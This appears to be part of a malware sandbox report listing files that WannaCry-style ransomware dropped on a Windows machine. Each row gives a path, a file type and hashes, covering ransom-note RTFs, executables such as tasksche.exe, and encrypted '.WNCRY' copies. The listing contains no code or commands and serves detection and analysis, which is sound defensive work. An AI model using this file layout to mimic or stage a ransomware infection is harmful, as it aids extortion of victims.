C:\ProgramData\ywepvofkuzu108\msg\m_polish.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: E79D7F2833A9C2E2553C7FE04A1B63F4 SHA: 3D9F56D2381B8FE16042AA7C4FEB1B33F2BAEBFF SHA-256: 519AD66009A6C127400C6C09E079903223BD82ECC18AD71B8E5CD79F5F9C053E SHA-512: E0159C753491CAC7606A7250F332E87BC6B14876BC7A1CF5625FA56AB4F09C485F7B231DD52E4FF0F5F3C29862AFB1124C0EFD0741613EB97A83CBE2668AF5DE	false
C:\ProgramData\ywepvofkuzu108\msg\m_portuguese.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: FA948F7D8DFB21CEDDD6794F2D56B44F SHA: CA915FBE020CAA88DD776D89632D7866F660FC7A SHA-256: BD9F4B3AEDF4F81F37EC0A028AABCB0E9A900E6B4DE04E9271C8DB81432E2A66 SHA-512: 0D211BFB0AE953081DCA00CD07F8C908C174FD6C47A8001FADC614203F0E55D9FBB7FA9B87C735D57101341AB36AF443918EE00737ED4C19ACE0A2B85497F41A	false
C:\ProgramData\ywepvofkuzu108\msg\m_romanian.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 313E0ECECD24F4FA1504118A11BC7986 SHA: E1B9AE804C7FB1D27F39DB18DC0647BB04E75E9D SHA-256: 70C0F32ED379AE899E5AC975E20BBBACD295CF7CD50C36174D2602420C770AC1 SHA-512: C7500363C61BAF8B77FCE796D750F8F5E6886FF0A10F81C3240EA3AD4E5F101B597490DEA8AB6BD9193457D35D8FD579FCE1B88A1C8D85EBE96C66D909630730	false
C:\ProgramData\ywepvofkuzu108\msg\m_russian.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 452615DB2336D60AF7E2057481E4CAB5 SHA: 442E31F6556B3D7DE6EB85FBAC3D2957B7F5EAC6 SHA-256: 02932052FAFE97E6ACAAF9F391738A3A826F5434B1A013ABBFA7A6C1ADE1E078 SHA-512: 7613DC329ABE7A3F32164C9A6B660F209A84B774AB9C008BF6503C76255B30EA9A743A6DC49A8DE8DF0BCB9AEA5A33F7408BA27848D9562583FF51991910911F	false
C:\ProgramData\ywepvofkuzu108\msg\m_slovak.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: C911ABA4AB1DA6C28CF86338AB2AB6CC SHA: FEE0FD58B8EFE76077620D8ABC7500DBFEF7C5B0 SHA-256: E64178E339C8E10EAC17A236A67B892D0447EB67B1DCD149763DAD6FD9F72729 SHA-512: 3491ED285A091A123A1A6D61AAFBB8D5621CCC9E045A237A2F9C2CF6049E7420EB96EF30FDCEA856B50454436E2EC468770F8D585752D73FAFD676C4EF5E800A	false
C:\ProgramData\ywepvofkuzu108\msg\m_spanish.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 8D61648D34CBA8AE9D1E2A219019ADD1 SHA: 2091E42FC17A0CC2F235650F7AAD87ABF8BA22C2 SHA-256: 72F20024B2F69B45A1391F0A6474E9F6349625CE329F5444AEC7401FE31F8DE1 SHA-512: 68489C33BA89EDFE2E3AEBAACF8EF848D2EA88DCBEF9609C258662605E02D12CFA4FFDC1D266FC5878488E296D2848B2CB0BBD45F1E86EF959BAB6162D284079	false
C:\ProgramData\ywepvofkuzu108\msg\m_swedish.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: C7A19984EB9F37198652EAF2FD1EE25C SHA: 06EAFED025CF8C4D76966BF382AB0C5E1BD6A0AE SHA-256: 146F61DB72297C9C0FACFFD560487F8D6A2846ECEC92ECC7DB19C8D618DBC3A4 SHA-512: 43DD159F9C2EAC147CBFF1DDA83F6A83DD0C59D2D7ACAC35BA8B407A04EC9A1110A6A8737535D060D100EDE1CB75078CF742C383948C9D4037EF459D150F6020	false
C:\ProgramData\ywepvofkuzu108\msg\m_turkish.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 531BA6B1A5460FC9446946F91CC8C94B SHA: CC56978681BD546FD82D87926B5D9905C92A5803 SHA-256: 6DB650836D64350BBDE2AB324407B8E474FC041098C41ECAC6FD77D632A36415 SHA-512: EF25C3CF4343DF85954114F59933C7CC8107266C8BCAC3B5EA7718EB74DBEE8CA8A02DA39057E6EF26B64F1DFCCD720DD3BF473F5AE340BA56941E87D6B796C9	false
C:\ProgramData\ywepvofkuzu108\msg\m_vietnamese.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 8419BE28A0DCEC3F55823620922B00FA SHA: 2E4791F9CDFCA8ABF345D606F313D22B36C46B92 SHA-256: 1F21838B244C80F8BED6F6977AA8A557B419CF22BA35B1FD4BF0F98989C5BDF8 SHA-512: 8FCA77E54480AEA3C0C7A705263ED8FB83C58974F5F0F62F12CC97C8E0506BA2CDB59B70E59E9A6C44DD7CDE6ADEEEC35B494D31A6A146FF5BA7006136AB9386	false
C:\ProgramData\ywepvofkuzu108\r.wnry	Type: ASCII text, with CRLF line terminators MD5: 3E0020FC529B1C2A061016DD2469BA96 SHA: C3A91C22B63F6FE709E7C29CAFB29A2EE83E6ADE SHA-256: 402751FA49E0CB68FE052CB3DB87B05E71C1D950984D339940CF6B29409F2A7C SHA-512: 5CA3C134201ED39D96D72911C0498BAE6F98701513FD7F1DC8512819B673F0EA580510FA94ED9413CCC73DA18B39903772A7CBFA3478176181CEE68C896E14CF	false
C:\ProgramData\ywepvofkuzu108\s.wnry	Type: Zip archive data, at least v1.0 to extract MD5: AD4C9DE7C8C40813F200BA1C2FA33083 SHA: D1AF27518D455D432B62D73C6A1497D032F6120E SHA-256: E18FDD912DFE5B45776E68D578C3AF3547886CF1353D7086C8BEE037436DFF4B SHA-512: 115733D08E5F1A514808A20B070DB7FF453FD149865F49C04365A8C6502FA1E5C3A31DA3E21F688AB040F583CF1224A544AEA9708FFAB21405DDE1C57F98E617	false
C:\ProgramData\ywepvofkuzu108\t.wnry	Type: data MD5: 5DCAAC857E695A65F5C3EF1441A73A8F SHA: 7B10AAEEE05E7A1EFB43D9F837E9356AD55C07DD SHA-256: 97EBCE49B14C46BEBC9EC2448D00E1E397123B256E2BE9EBA5140688E7BC0AE6 SHA-512: 06EB5E49D19B71A99770D1B11A5BB64A54BF3352F36E39A153469E54205075C203B08128DC2317259DB206AB5323BDD93AAA252A066F57FB5C52FF28DEEDB5E2	false
C:\ProgramData\ywepvofkuzu108\taskdl.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 4FEF5E34143E646DBF9907C4374276F5 SHA: 47A9AD4125B6BD7C55E4E7DA251E23F089407B8F SHA-256: 4A468603FDCB7A2EB5770705898CF9EF37AADE532A7964642ECD705A74794B79 SHA-512: 4550DD1787DEB353EBD28363DD2CDCCCA861F6A5D9358120FA6AA23BAA478B2A9EB43CEF5E3F6426F708A0753491710AC05483FAC4A046C26BEC4234122434D5	false
C:\ProgramData\ywepvofkuzu108\tasksche.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 84C82835A5D21BBCF75A61706D8AB549 SHA: 5FF465AFAABCBF0150D1A3AB2C2E74F3A4426467 SHA-256: ED01EBFBC9EB5BBEA545AF4D01BF5F1071661840480439C6E5BABE8E080E41AA SHA-512: 90723A50C20BA3643D625595FD6BE8DCF88D70FF7F4B4719A88F055D5B3149A4231018EA30D375171507A147E59F73478C0C27948590794554D031E7D54B7244	true
C:\ProgramData\ywepvofkuzu108\taskse.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 8495400F199AC77853C53B5A3F278F3E SHA: BE5D6279874DA315E3080B06083757AAD9B32C23 SHA-256: 2CA2D550E603D74DEDDA03156023135B38DA3630CB014E3D00B1263358C5F00D SHA-512: 0669C524A295A049FA4629B26F89788B2A74E1840BCDC50E093A0BD40830DD1279C9597937301C0072DB6ECE70ADEE4ACE67C3C8A4FB2DB6DEAFD8F1E887ABE4	false
C:\ProgramData\ywepvofkuzu108\u.wnry	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 7BF2B57F2A205768755C07F238FB32CC SHA: 45356A9DD616ED7161A3B9192E2F318D0AB5AD10 SHA-256: B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25 SHA-512: 91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9	true
C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
